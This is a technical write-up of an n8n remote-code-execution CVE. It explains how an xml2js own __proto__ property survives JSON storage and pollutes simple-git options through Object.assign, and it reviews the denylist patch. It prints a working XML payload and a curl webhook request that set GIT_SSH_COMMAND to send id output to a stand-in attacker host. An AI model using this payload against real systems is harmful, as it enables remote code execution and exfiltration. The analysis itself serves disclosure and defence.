xml2js Uses defineProperty Specifically To Avoid Prototype Pollution
xml2js 0.6.2 writes parsed tag names through a helper. The helper is four lines.
// node-xml2js/lib/parser.js (0.6.2)
defineProperty = function(obj, key, value) {
var descriptor;
descriptor = Object.create(null);
descriptor.value = value;
descriptor.writable = true;
descriptor.enumerable = true;
descriptor.configurable = true;
return Object.defineProperty(obj, key, descriptor);
};
Parser.prototype.assignOrPush = function(obj, key, newValue) {
if (!(key in obj)) {
if (!this.options.explicitArray) {
return defineProperty(obj, key, newValue);
} else {
return defineProperty(obj, key, [newValue]);
}
} else {
if (!(obj[key] instanceof Array)) {
defineProperty(obj, key, [obj[key]]);
}
return obj[key].push(newValue);
}
};
Object.defineProperty is the [[DefineOwnProperty]] route. It bypasses setters. The distinction matters for one specific key. Direct assignment, obj['__proto__'] = value, invokes the __proto__ setter that JavaScript inherits from Object.prototype. The setter mutates obj's prototype chain. Object.defineProperty(obj, '__proto__', { value, writable: true, enumerable: true, configurable: true }) does not invoke the setter. It writes __proto__ as an own enumerable data property on obj. The object's prototype chain is untouched.
That is what the library author wanted. Earlier xml2js versions assigned tag-name keys directly and produced a parse-time prototype-pollution CVE. The switch to defineProperty closed the parse-time route. Parsing arbitrary XML can no longer mutate Object.prototype at the moment of parse. The library's invariant holds.
The library's invariant holds at a cost. Every object xml2js produces from XML containing <__proto__> now carries an own enumerable data property named __proto__. The property is not a prototype pointer. It is a __proto__ named data slot whose value is whatever the XML said. The runtime treats obj.__proto__ specially via the inherited getter/setter pair, which means reading obj.__proto__ returns the prototype, not the own slot. The own slot is only visible to code that calls Object.getOwnPropertyDescriptor(obj, '__proto__') or that enumerates own keys via Object.keys / Object.getOwnPropertyNames / for...in with hasOwnProperty.
It is visible to JSON.stringify.
Three Functions, Each Doing What Their Spec Says
The PoC ships a Node verifier that reproduces the rest of the chain without a live n8n. The chain has three frames after parse.
Frame one. The attacker's XML.
<?xml version="1.0" encoding="UTF-8"?>
<root>
<__proto__>
<spawnoptions><shell>true</shell></spawnoptions>
<env GIT_SSH_COMMAND="curl http://attacker/$(id|base64)"/>
</__proto__>
</root>
After xmlParser.parseStringPromise(body):
Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
// {
// value: [Object.prototype,
// { spawnoptions: { shell: 'true' },
// env: { '$': { GIT_SSH_COMMAND: 'curl http://attacker/...' } } }],
// writable: true, enumerable: true, configurable: true
// }
xml2js wraps the value in a two-element array. The wrap fires because '__proto__' in obj returns true for a freshly-constructed empty object (the empty object inherits __proto__ from Object.prototype). The (key in obj) branch in assignOrPush reads "the key already exists, push to its array form," so the library packs Object.prototype itself into [0] and the attacker's payload into [1]. The attacker now has an own enumerable __proto__ whose value is [<the actual prototype>, <attacker dict>].
Frame two. n8n persists execution data to its backing store. The serializer is JSON.stringify. The deserializer on reload is JSON.parse. JSON.stringify walks own enumerable string keys. The own __proto__ is enumerable. It serializes.
{"__proto__":[null,{"spawnoptions":{"shell":"true"},"env":{"$":{"GIT_SSH_COMMAND":"..."}}}],"data":"..."}
The string lands in SQLite or Postgres. On the next reload, JSON.parse produces an object with __proto__ as an own data property. The ES2017+ JSON.parse specification uses CreateDataProperty to install keys. CreateDataProperty does not invoke setters. The reloaded object's prototype chain is Object.prototype, the same as any other fresh object; the own __proto__ slot is back.
const reloaded = JSON.parse(stored);
Object.getOwnPropertyDescriptor(reloaded, '__proto__');
// { value: [null, { spawnoptions: ..., env: ... }],
// writable: true, enumerable: true, configurable: true }
Frame three. Anything downstream that does Object.assign(target, reloaded) ends the chain. Object.assign reads source own keys via [[Get]] and writes them to target via [[Set]]. reloaded['__proto__'] read via [[Get]] returns the own data property's value, the two-element array. Object.assign then writes target['__proto__'] via [[Set]]. [[Set]] for the key __proto__ is the inherited setter, and the setter mutates target's prototype chain.
const target = { binary: 'git', cwd: '/tmp' };
Object.assign(target, reloaded);
Object.getPrototypeOf(target) === Object.prototype; // false
Object.getPrototypeOf(target);
// [null, { spawnoptions: { shell: 'true' }, env: { '$': { GIT_SSH_COMMAND: '...' } } }]
target's prototype chain is now the attacker's array. Three frames. xml2js's defineProperty writes an own data property. JSON.stringify serializes it. JSON.parse deserializes it. Object.assign reads it via [[Get]] and writes via [[Set]]. Each step is correct in isolation. The chain is the bug.
simpleGit Reads The Prototype
The pollution flips one specific lookup. The Git node in n8n calls simpleGit(gitOptions). simple-git's createInstanceConfig is exactly the shape that consumes the polluted object.
// simple-git/src/lib/utils/simple-git-options.ts
export function createInstanceConfig(
...options: Array<Partial<SimpleGitOptions> | undefined>
): SimpleGitOptions {
const baseDir = process.cwd();
const config: SimpleGitOptions = Object.assign(
{ baseDir, ...defaultOptions },
...options.filter((o) => typeof o === 'object' && o)
);
config.baseDir = config.baseDir || baseDir;
config.trimmed = config.trimmed === true;
return config;
}
Object.assign({ baseDir, ...defaultOptions }, ...options). The first non-default option is the workflow's gitOptions, which the Git node built from reloaded execution data, which is the reloaded webhook body, which is the object with own __proto__. Object.assign reads it via [[Get]] and writes via [[Set]]. config's prototype chain now resolves through the attacker's array.
simple-git then asks the config for spawnOptions:
// simple-git plugin registration
if (config.spawnOptions) {
plugins.add(spawnOptionsPlugin(config.spawnOptions));
}
config has no own spawnOptions. The lookup falls through the polluted prototype chain. Object.prototype is at index 0 of the array; index 1 is the attacker's object, which contains spawnoptions. The lookup returns truthy. spawnOptionsPlugin registers.
The plugin itself is narrow:
export function spawnOptionsPlugin(
spawnOptions: Partial<SpawnOptions>
): SimpleGitPlugin<'spawn.options'> {
const options = pick(spawnOptions, ['uid', 'gid']);
return {
type: 'spawn.options',
action(data) {
return { ...options, ...data };
},
};
}
uid / gid injection alone is not RCE. The PoC ships the other half of the chain in the same payload. The polluted prototype chain also holds env.GIT_SSH_COMMAND. When the Git node's next operation is an SSH-authenticated git clone or git push, git reads GIT_SSH_COMMAND from its environment and invokes that string instead of ssh. The environment passed to git's child process is composed via property lookups on the same options object whose prototype is now the attacker's array. GIT_SSH_COMMAND resolves via the chain. Git executes it.
The chain ends at the n8n host's shell.
The Patch Sanitizes Three Names At The Consumer's Parser Config
v1.123.32 (and the 2.x backports) rewrite the parser registration to add a denylist.
import { Parser as XmlParser } from 'xml2js';
+function sanitizeXmlName(name: string): string {
+ const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
+ return unsafe.has(name) ? `sanitized_${name}` : name;
+}
+
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true,
explicitArray: false,
+ tagNameProcessors: [sanitizeXmlName],
+ attrNameProcessors: [sanitizeXmlName],
});
tagNameProcessors and attrNameProcessors are xml2js features for rewriting names before they reach assignOrPush. With the processor installed, a <__proto__> tag becomes sanitized___proto__ before defineProperty writes it. The own property's name is now harmless. JSON.stringify serializes it as "sanitized___proto__". JSON.parse recreates it as an own data property named sanitized___proto__. Object.assign reads it via [[Get]] and writes to target['sanitized___proto__'] via [[Set]]. That [[Set]] installs an ordinary own property. Nothing in any prototype chain changes.
The patch closes this CVE. xml2js's assignOrPush is byte-for-byte the same. defineProperty is byte-for-byte the same. xml2js's GitHub repository carries issue #721, opened March 2026, titled "Prototype Pollution Vulnerability in xml2js Module," still open. The fix sits at every consumer. The library has not moved.
This is the Design Debt Driver shape applied to xml2js. The component's bug-class keeps recurring across consumers. Each consumer that uses the parser to receive XML over the network ships its own denylist at the parser config. The library's primitive continues to produce the smuggled property. The next consumer who serializes-and-assigns inherits the same chain.
The chain also belongs to Emergent Primitive. xml2js's defineProperty is safe (it explicitly bypasses the prototype setter). JSON.stringify is safe (it walks own enumerable keys, which is what the spec says). JSON.parse is safe (it uses CreateDataProperty, which is what the spec says). Object.assign is safe (it reads via [[Get]] and writes via [[Set]], which is what the spec says). simple-git's createInstanceConfig is safe (it Object.assigns caller options over defaults). No single function in the chain has a bug. The intersection has the RCE. The owners are five different repositories, none of them owning the intersection.
The Authenticated User Is The Operator
The CVE record for 42231 names "an authenticated user with permission to create or modify workflows." The CVSS 3.1 vector on the same record reads PR:L. The CVSS 4.0 vector published with the GHSA reads PR:N. The two vectors disagree about whether the attacker is authenticated.
The PoC resolves the disagreement. Its --demo and --cmd modes both expect an unauthenticated POST to http://target/webhook/<id>. The webhook trigger node in n8n is the platform's HTTP-receiver primitive; it is designed to accept arbitrary external requests. The trigger's Authentication parameter defaults to None because n8n is built to listen to external systems whose authentication is the operator's concern, not n8n's.
# 1. The attacker sends XML to a webhook the operator already activated.
curl -X POST http://target:5678/webhook/<workflowId>/webhook/<path> \
-H 'Content-Type: application/xml' \
--data-binary @- <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<root>
<__proto__>
<spawnoptions><shell>true</shell></spawnoptions>
<env GIT_SSH_COMMAND="curl http://attacker/$(id|base64)"/>
</__proto__>
</root>
EOF
# 2. n8n parses the XML. req.body.root has own __proto__.
# 3. The workflow's execution data is serialized to the DB.
# 4. Next time the Git node runs an SSH operation, GIT_SSH_COMMAND resolves
# via the polluted prototype. git executes the attacker's string.
The "authenticated user with permission to create or modify workflows" the CVE description names is the operator who built the workflow. That user is the n8n customer, not the attacker. The CVSS 4.0 PR:N published in the GHSA is the accurate read. The attacker needs only that the operator has built one active webhook trigger that accepts XML, and that the workflow contains a Git node performing SSH-authenticated operations. The first is what webhook triggers do. The second is what the Git node is for.
The CVE description's framing routes the bug toward an insider-threat reading. The CVSS 4.0 vector published with the GHSA disagrees in writing. One of the two is more accurate. We are not required to guess which.
PoC: rudSarkar/CVE-2026-42231